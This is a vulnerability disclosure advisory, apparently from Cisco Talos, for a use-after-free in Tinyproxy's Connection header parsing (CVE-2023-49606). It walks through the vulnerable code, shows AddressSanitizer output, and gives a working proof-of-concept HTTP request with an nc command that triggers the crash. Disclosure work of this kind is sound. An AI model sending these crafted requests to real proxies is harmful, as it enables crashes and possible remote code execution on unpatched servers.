CVE-2023-49606
A use-after-free vulnerability exists in the HTTP Connection Headers parsing in Tinyproxy 1.11.1 and Tinyproxy 1.10.0. A specially crafted HTTP header can trigger reuse of previously freed memory, which leads to memory corruption and could lead to remote code execution. An attacker needs to make an unauthenticated HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Tinyproxy 1.11.1
Tinyproxy Tinyproxy 1.10.0
Tinyproxy - https://tinyproxy.github.io/
9.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Tinyproxy is a lightweight open-source HTTP proxy daemon focused on simplicity and efficiency.
As per the HTTP specification, the Connection
header provided by the client denotes a list of HTTP headers that must be removed by the proxy in the final HTTP request. The proxy removes these HTTP headers from the request, performs the request to the remote server and sends the response back to the client.
Tinyproxy does exactly that in the remove_connection_headers()
function:
static int remove_connection_headers (orderedmap hashofheaders)
{
static const char *headers[] = {
"connection",
"proxy-connection"
};
for (i = 0; i != (sizeof (headers) / sizeof (char *)); ++i) {
/* Look for the connection header. If it's not found, return. */
data = orderedmap_find(hashofheaders, headers[i]); (1)
if (!data)
return 0; (2)
...
ptr = data;
while (ptr < data + len) {
orderedmap_remove (hashofheaders, ptr); (3)
...
}
/* Now remove the connection header it self. */
orderedmap_remove (hashofheaders, headers[i]); (4)
}
return 0;
}
First we should note that the HTTP headers sent by the client reside in the hashofheaders
key-value store. The code searches the hashofheaders
for the Connection
and Proxy-Connection
headers and gets their value at (1), which as mentioned is a series of HTTP headers to remove. Each HTTP header listed by the client is removed at (3). Essentially, each HTTP header in the value of the Connection
and Proxy-Connection
headers is used as a key to remove from hashofheaders
. Finally at (4) the HTTP header itself is removed.
In the orderedmap_remove()
function we see:
int orderedmap_remove(struct orderedmap *o, const char *key) {
htab_value *lv, *v = htab_find2(o->map, key, &sk); (5)
...
sv = sblist_get(o->values, v->n); (6)
free(*sv);
...
htab_delete(o->map, key); (7)
...
}
For the specific key
provided, its hash is calculated at (5). Using the hash, the pointer for the value of the key is retrieved and freed at (6). Finally the key itself is deleted from the hashmap at (7).
Consider now what happens when the client sends the HTTP header Connection: Connection
. For demonstration purposes we will just distinguish them as ConnectionA: ConnectionB
. At (1) the value of the ConnectionA
header is retrieved, which is of course ConnectionB
. At (3), the value ConnectionB
is used as a key
variable at orderedmap_remove()
. At (5) the hash of string ConnectionB
is calculated, which is exactly the same as ConnectionA
. Note that the hash is also case-insensitive. At (6) the hash is used to retrieve and free the pointer for the value of the HTTP header ConnectionA
which is ConnectionB
. So at this point the code has freed the memory for ConnectionB
. At (7) the key
variable now containing the stale pointer for ConnectionB
is reused, leading to a Use-After-Free scenario.
As evident, this vulnerability can be used to perform memory corruption and gain code execution privileges.
Note that the same scenario can happen with the Proxy-Connection
header. However, the remove_connection_headers()
checks the Connection
header first, and if it doesn’t exist the code exits at (2). As a result, to reproduce the issue as an alternative to Connection: Connection
, the client can also send:
Connection: [AnyValueHere]
Proxy-Connection: Proxy-Connection
Here’s the ASAN output with our PoC:
==3249045==ERROR: AddressSanitizer: heap-use-after-free on address 0x5020000c22d0 at pc 0x555576e4e5b9 bp 0x7ffc023e5a70 sp 0x7ffc023e5238
READ of size 3 at 0x5020000c22d0 thread T0
#0 0x555576e4e5b8 in strlen (/home/dtatsis/tinyproxy/build.asan/bin/tinyproxy+0x4a5b8) (BuildId: 160f4d028d850c87b6d558d53998f75e033349ee)
#1 0x555576f2e6ae in remove_connection_headers /home/dtatsis/tinyproxy/src/reqs.c:759:32
#2 0x555576f27a91 in process_client_headers /home/dtatsis/tinyproxy/src/reqs.c:889:9
#3 0x555576f24073 in handle_connection /home/dtatsis/tinyproxy/src/reqs.c:1690:13
#4 0x555576f15e94 in child_main /home/dtatsis/tinyproxy/src/child.c:312:17
#5 0x555576f147f4 in child_make /home/dtatsis/tinyproxy/src/child.c:371:9
#6 0x555576f14401 in child_pool_create /home/dtatsis/tinyproxy/src/child.c:441:36
#7 0x555576f32baa in main /home/dtatsis/tinyproxy/src/main.c:410:13
#8 0x7ff2a1c15d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#9 0x7ff2a1c15e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#10 0x555576e385e4 in _start (/home/dtatsis/tinyproxy/build.asan/bin/tinyproxy+0x345e4) (BuildId: 160f4d028d850c87b6d558d53998f75e033349ee)
0x5020000c22d0 is located 0 bytes inside of 11-byte region [0x5020000c22d0,0x5020000c22db)
freed by thread T0 here:
#0 0x555576ed46e6 in free (/home/dtatsis/tinyproxy/build.asan/bin/tinyproxy+0xd06e6) (BuildId: 160f4d028d850c87b6d558d53998f75e033349ee)
#1 0x555576f1da9f in hashmap_remove /home/dtatsis/tinyproxy/src/hashmap.c:479:25
#2 0x555576f2e6a2 in remove_connection_headers /home/dtatsis/tinyproxy/src/reqs.c:756:25
#3 0x555576f27a91 in process_client_headers /home/dtatsis/tinyproxy/src/reqs.c:889:9
#4 0x555576f24073 in handle_connection /home/dtatsis/tinyproxy/src/reqs.c:1690:13
#5 0x555576f15e94 in child_main /home/dtatsis/tinyproxy/src/child.c:312:17
#6 0x555576f147f4 in child_make /home/dtatsis/tinyproxy/src/child.c:371:9
#7 0x555576f14401 in child_pool_create /home/dtatsis/tinyproxy/src/child.c:441:36
#8 0x555576f32baa in main /home/dtatsis/tinyproxy/src/main.c:410:13
#9 0x7ff2a1c15d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
previously allocated by thread T0 here:
#0 0x555576ed498e in malloc (/home/dtatsis/tinyproxy/build.asan/bin/tinyproxy+0xd098e) (BuildId: 160f4d028d850c87b6d558d53998f75e033349ee)
#1 0x555576f1c280 in hashmap_insert /home/dtatsis/tinyproxy/src/hashmap.c:217:21
#2 0x555576f2baa7 in add_header_to_connection /home/dtatsis/tinyproxy/src/reqs.c:616:16
#3 0x555576f24b4b in get_all_headers /home/dtatsis/tinyproxy/src/reqs.c:657:32
#4 0x555576f23663 in handle_connection /home/dtatsis/tinyproxy/src/reqs.c:1600:13
#5 0x555576f15e94 in child_main /home/dtatsis/tinyproxy/src/child.c:312:17
#6 0x555576f147f4 in child_make /home/dtatsis/tinyproxy/src/child.c:371:9
#7 0x555576f14401 in child_pool_create /home/dtatsis/tinyproxy/src/child.c:441:36
#8 0x555576f32baa in main /home/dtatsis/tinyproxy/src/main.c:410:13
#9 0x7ff2a1c15d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
In a regular build of the daemon the code crashes during a double free during the orderedmap_destroy()
function.
free(): double free detected in tcache 2
IOT instruction ./src/tinyproxy -d -c ../tinyproxy-fuzz/tinyproxy.config
As mentioned, the PoC for the vulnerability is a very simple HTTP request. One variation is:
GET / HTTP/1.1
Connection: Connection
Host: 192.168.86.166:8000
Or alternatively:
GET / HTTP/1.1
Connection: keep-alive
Proxy-Connection: Proxy-Connection
Host: 192.168.86.166:8000
Assuming there is an actual host at 192.168.86.166:8000, one can do:
cat heap-uaf.poc | nc 127.0.0.1 8888
With the relevant tinyproxy.config being:
Port 8888
Listen 127.0.0.1
No maintainer response, no patch available.
2023-12-20 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-01-10 - Request for confirmation
2024-03-07 - Status update request / publication date announced
2024-05-01 - Public Release
Discovered by Dimitrios Tatsis of Cisco Talos.